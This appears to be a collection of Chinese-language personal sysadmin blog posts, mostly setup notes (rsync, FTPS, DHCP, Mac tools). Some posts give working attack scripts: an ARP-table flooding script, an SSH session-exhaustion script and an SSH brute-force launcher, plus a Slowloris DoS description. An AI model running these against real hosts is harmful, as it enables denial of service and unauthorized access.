GNU Hurd kernel

孤陋寡聞，原來GNU原先預期搭載的kernel不是用Linux而是Hurd。

http://www.gnu.org/software/hurd/index.html

http://zh.wikipedia.org/wiki/Hurd

http://www.osnews.com/story/25724/Interview_Richard_Stallman

Configure Windows7 prefer DHCP unicast or broadcast response

預設上Windows7 Home edition是prefer DHCP Server回應的封包採用broadcast的方式，當然這也是可以更改為unicast的，做法很簡單，只要透過register table來更改就可以完成了。

Click Start->regedit->

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}

GUID這邊指的是對應到的NIC，可用wireshark來幫助查詢。

DhcpConnForceBroadcastFlag (0 or 1)

0 indicate unicast

1 indicate broadcast

Reference:

DHCP Broadcast flag handling in Windows 7

Low bandwidth HTTP attack: Slowloris

Low bandwidth HTTP attack與傳統的DoS反其道而行，採取的方法是用單一的機器只需少少的頻寬就可以讓HTTP Server癱瘓，其中最著名的就是Slowloris，他的原理簡單的來說是對HTTP Server送不出完全的HTTP request，並且試著讓它保持不被HTTP Server timeout，如此一來HTTP Server可開啟的最大socket數就會滿了，最後導致HTTP Server無法提供服務給其他機器。

Slowloris下載處

請勿以此工具攻擊別人，謝謝。

參考來源：

http://ha.ckers.org/slowloris/

http://news.softpedia.com/news/Web-Servers-in-Danger-from-Low-Bandwidth-HTTP-DoS-114745.shtml

http://en.wikipedia.org/wiki/Slowloris

ARP/MAC address flooding attack

在BT5結合arping測試工具，寫了一個簡單的script來測試目標主機可否hold得住ARP/MAC address flooding attack，script內容如下：

root@bt:~# cat bin/arp_cache.sh

#!/bin/bash

function arp_cache_attack

{

while true;

do

for((i=1;i<=100;i++))

do

mac=$(($RANDOM%10))

number1=$(($RANDOM%254))

number2=$(($RANDOM%254))

number3=$(($RANDOM%254))

number4=$(($RANDOM%254))

arping -S "$number1.$number2.$number3.$number4" -s 00:00:00:00:$mac:$mac 10.10.6.6 -c 1 &

done

sleep 1

kill `ps aux | grep -i arping | grep -v grep | awk -F" " '{ print $2 }'` 1>/dev/null

sync && echo "3" > /proc/sys/vm/drop_caches

echo "re-generate"

done

}

arp_cache_attack

此script每次會產生100筆隨機的假IP與MAC address去嘗試塞滿目標主機(10.10.6.6於以上script中)的arp table。

僅供個人研究，請勿以此script測試或攻擊別人的主機。

如何增加Linux arp cache entry

好文章，先收藏起來。

Linux: Neighbour Table Overflow Error and Solution

OSX 10.8 Mountain Lion~

你能相信嗎？OSX 10.8要發佈了！Lion真是史上最短的OSX。

http://www.apple.com/macosx/mountain-lion/

如何測試SSH Server可接受的未經授權的最大連線數?

寫了一個簡單的script如下，去做測試然而目前只支援Class C，可以改善的空間應該還不少。

#!/bin/bash

# Bind IP

read -p "Which interface? [eth0]: " INTERFACE

read -p "Net address: [10.10.10] " NETIP

read -p "Min IP address: [1] " MiIP

read -p "Max IP address:[254] " MaIP

for((i="$MiIP";i<="$MaIP";i++))

do

ip addr add "$NETIP"."$i"/24 dev $INTERFACE 1>/dev/null 2>1

done

echo ""

# Start to test

read -p "Target: [10.10.10.10] " TARGET

i=$MiIP

num=1

echo ""

echo "Preparing for test target: $TARGET"

sleep 5

while true;

do

ssh admin@$TARGET -o StrictHostKeyChecking=no -b "$NETIP"."$i" 1>/dev/null 2>1 &

sleep 1

netstat -an | grep 22 | grep ESTABLISHED | grep "\<$NETIP"."$i\>"

if [ `echo $?` -ne 0 ]; then

num=$(($num-1))

echo "The maximum SSH session of $TARGET is $num"

kill `ps aux | grep "\<22\>" | grep -v grep | grep -v ssh-agent | awk -F" " '{print $2}'` > /dev/null

break

else

echo "SSH session number $num is established!"

i=$(($i+1))

num=$(($num+1))

fi

done

exit

SSH Brute Force attack tools

Here it is: http://zeldor.biz/2011/01/how-to-bruteforce-ssh/

And I'v wrote a bash script to make it more easy to use as following:

1 #!/bin/bash

2

3 read -p "Please enter your target host: " HOST

4 echo "Enter run to launch SSH Brute Force Attack, or exit to leave it."

5

6 echo -n "[run/exit]? "

7 while read LINE;

8 do

9 if [ $LINE = "run" ]; then

10 clear

11 python /root/bin/brutessh/brutessh.py -h $HOST -u admin -d /root/bin/brutessh/passlist.txt &

12 sleep 10

13 echo -n "***** Enter exit can stop SSH Brute Force attack immediately or rerun it again. ***** [run/exit]? "

14 continue

15 elif [ $LINE = "exit" ]; then

16 kill `ps aux | grep brutessh.py | grep -v grep |awk -F" " '{ print $2 }'` 2> /dev/null

17 break

18 fi

19 done

Please to adjust /root/bin/brutessh/ above to work with your environment.

Thanks to Igor Drobot (http://zeldor.biz/about/ blog author) and laramies (brutessh author).

快速操作Gnome-shell

找到了一篇對於Gnome-shell不錯的鍵盤與滑鼠的快速操作說明，先收藏起來。

Gnome 3 Keyboard and Mouse Shortcuts

Synchronize files by rsync between two Linux hosts

有別於以往先手動交換主機間SSH的金鑰後再透過rsync於兩台主機間同步檔案，今天又學習到了一個新方法，在此稍做筆記。

需求：

將/var/www/html自動從HostA同步到HostB。

HostA: 10.10.2.126 (source)

HostB: 10.10.2.128 (destination)

Step:

1. 設定HostA(Destination)：

1.1 確定有安裝rsync:

[root@server1 ~]# rpm -qa | grep -i rsync

rsync-3.0.6-5.el6_0.1.i686

1.2 編輯/etc/xinetd.d/rsync：

service rsync

{

disable = no

flags = IPv6

socket_type = stream

wait = no

user = root

server = /usr/bin/rsync

server_args = --daemon

log_on_failure += USERID

}

1.3 建立/etc/rsyncd.conf：

# any name you like

[test]

# destination directory

path = /home/backup

# Hosts you allow to copy (specify source Host)

hosts allow = 10.10.2.126

hosts deny = *

list = true

uid = root

gid = root

read only = false

1.4 重新啟動xinetd

[root@server1 ~]# /etc/init.d/xinetd restart

正在停止 xinetd： [ 確定 ]

正在啟動 xinetd： [ 確定 ]

2. 設定HostB(Source)：

2.1 確定有安裝rsync:

[root@server1 ~]# rpm -qa | grep rsync

rsync-3.0.6-4.el5_7.1

2.2 執行rsync將檔案同步：

[root@server1 ~]# rsync -avz --delete /var/www/html/ 10.10.2.128::test

sending incremental file list

./

proxy.pac

proxy.pac.ipv4

proxy.pac.ipv6

wpad.dat -> proxy.pac

ssl/

ssl/index.hrml

sent 3089 bytes received 174 bytes 6526.00 bytes/sec

total size is 5039 speedup is 1.54

IP scanner on Mac OSX

發現了一套在Mac OSX下還算蠻簡單易用的IP scanner tool: Angry IP Scanner，雖然對於Mac OSX還在Beta階段，但是還算可用！

另外還有一套更好用IP scanner是由10base-t interactive開發，但是當然好用的代價就是請付點Coco.

Remove unnecessary language resources from Mac OS X

很多工具都可以幫忙刪除系統應用程式中用不到的語系，但是我覺得Monolingual是最簡潔輕巧的一款好工具，推薦給大家使用，官方只說支援到10.6但是我剛剛在10.7.2也運作得非常好，幫我省去了1.3G的空間。

PKC or OKC?

今天同事給了一個有關Wireless station roams時的行為討論，主要是在講到底什麼是PKC與OKC，實在是非常精闢的討論，故收藏起來，以供日後參考。

PKC or OKC?

簡單的定義：

Proactive Key Caching (PKC) or Opportunistic Key Caching (OKC) - In the 802.11i specification there is a suggestion towards WPA2 Pairwise Master Key ID (PMKID) caching. PKC/OKC is one interpretation of this suggestion. The station remembers the PMKID from its initial BSSID with which it associated and authenticated. When the client roams to another BSSID it uses the original PMKID and hashes it with the new BSSID and comes up with new keys. It needs a centralised controller to distribute the PMKID out to the AP's to make it all work.

X10 VS P7100

最近想買類單相機呀！找了一個table比較一下各家的spec，要不是X10在資訊會價格硬又沒送東西的話，今天就會買了吧..... 看了一看P7100好像也不錯，省下來的錢還可以買一台3DS。

規格比較表：

http://jon6773.pixnet.net/blog/post/35554542-g12--x10-x100-p7100-xz-1-lx5-%E8%A6%8F%E6%A0%BC%E6%AF%94%E8%BC%83

RAMDisk tool on Mac OSX

現在的RAM比起以往便宜了許多，多餘的記憶體空間若空閒在那邊的確是有點可惜，把RAM當disk使用不論在Linux或是Windows上都有相對應的方法與工具，當然Mac上也是有的，最簡單的工具首推TmpDisk，怎麼設定呢？那真是簡單到不行呀，不用多說看下面的截圖您必定明白。

這邊也提供MacOSX手動產生RAMdisk的方法：

http://osxdaily.com/2007/03/23/create-a-ram-disk-in-mac-os-x/

最常用的就是將RAMdisk當成瀏覽器的快取，以下提供我用Google Chrome實作的步驟：

Step1. 透過TmpDisk產生RAMDisk，並且將Auto Create與Always start on login啟動。

Step2. 關閉Google Chrome。

Step3. 開啟OSX的終端機。

Step4. 將Chrome目前的快取目錄刪除。

rm -rf ~/Library/Caches/Google/Chrome/Default

Step5. 產生一個softlink將~/Library/Caches/Google/Chrome/Default連接到Step1產生的快取.

ln -s /Volumes/Chrome\ Cache/ ~/Library/Caches/Google/Chrome/Default

/Volumes/Chrome\ Cache/就是我透過TmpDisk產生的快取。

Configure Apache to use SSL on CentOS5.X

預設CentOS5.X啟動Apache時，https並沒有跟著被帶起來，其實只要裝上mod_ssl這個套件後，當下次重新啟動Apache時，就會自動打開https了，而其主要的配置檔案會自動產生於/etc/httpd/conf.d/ssl.conf檔案中。

這個方法固然快速，然而如果你想手動自己來的話還是可以的。

RuckusWireless TDC誠徵QA Engineer

敝公司目前有在找QA Engineer，有興趣的人不妨可以投履歷看看！

順便貼上一段當初看完影片後，讓我百分之百想進入RuckusWireless工作的影片，現在看起來還是很熱血。

http://www.youtube.com/watch?v=62-3m5N8X1g&feature=related

Tips: 找尋欲編輯的檔案內容並且直接開啟

[root@centos6 etc]# vi `find /etc/ | xargs grep "vsftpd.pem" | cut -d: -f1`

Explain:

1. 在/etc folder透過find指令尋找全部的檔案。

2. 透過xargs將pipe前的stdout轉變成餵給grep的參數。

3. 透過cut指令做簡單的filter。

4. 將`find /etc/ | xargs grep "vsftpd.pem" | cut -d: -f1`看成一個指令的輸出，餵給vi。

Tips: 查看user屬於那一個group

傳統的方法是透過/etc/group的文檔來查看user屬於哪一些group。

[root@centos6 ~]# cat /etc/group | grep root

root:x:0:root

bin:x:1:root,bin,daemon

daemon:x:2:root,bin,daemon

sys:x:3:root,bin,adm

adm:x:4:root,adm,daemon

disk:x:6:root

wheel:x:10:root

其實可以透過groups指令來查詢的。

[root@centos6 ~]# groups root

root : root bin daemon sys adm disk wheel

[root@centos6 ~]#

於CentOS6架設FTP-SSL

如果要在Internet上開放FTP的服務給使用者使用，比較安全的做法有SFTP與FTPs，但是SFTP必需也要開放sshd，萬一OpenSSH存在系統漏洞的話，整個系統是很容易受到攻擊的！所以FTPs看起來是比較安全的應用，以下便簡單記錄怎麼在CentOS6中透過vsftpd架設FTPs。

Steps:

1. 檢查vsftpd是否有支援ssl:

[root@centos6 ~]# ldd `which vsftpd` | grep ssl

libssl.so.10 => /usr/lib/libssl.so.10 (0x00af1000) -> 看到libssl則代表有支援。

2. 產生vsftpd所需要的憑證:

[root@centos6 ~]# cd /etc/pki/tls/certs/

[root@centos6 certs]# make vsftpd.pem

[root@centos6 certs]# cp -a vsftpd.pem /etc/vsftpd/

3. 設定vsftpd.conf:

anonymous_enable=YES

local_enable=YES

write_enable=YES

local_umask=022

dirmessage_enable=YES

xferlog_enable=YES

connect_from_port_20=YES

xferlog_file=/var/log/vsftpd.log

xferlog_std_format=YES

chroot_local_user=YES

chroot_list_enable=YES

chroot_list_file=/etc/vsftpd/chroot_list ->注意！必需要手動產生一個chroot_list的空檔

listen=YES

pam_service_name=vsftpd

userlist_enable=YES

tcp_wrappers=YES

ssl_enable=YES

allow_anon_ssl=NO

force_local_data_ssl=YES

force_local_logins_ssl=YES

ssl_tlsv1=YES

ssl_sslv2=NO

ssl_sslv3=NO

rsa_cert_file=/etc/vsftpd/vsftpd.pem

這邊附上vsftpd的man page。

4. 啟動vsftpd

[root@centos6 vsftpd]# /etc/init.d/vsftpd restart

正在關閉 vsftpd： [ 確定 ]

正在啟動 vsftpd 中的 vsftpd： [ 確定 ]

[root@centos6 vsftpd]#

5. 在OSX透過Cyperduck測試:

5.1 設定連線為FTP-SSL

5.2 輸入FTP Server的IP address，系統會警告一個不被信任的憑證，當然此憑證是我剛剛產生的，所以要信任它囉:

大功告成！